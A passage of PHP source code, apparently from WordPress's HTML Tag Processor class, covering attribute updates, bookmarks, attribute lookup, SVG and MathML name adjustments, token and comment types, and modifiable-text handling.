	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
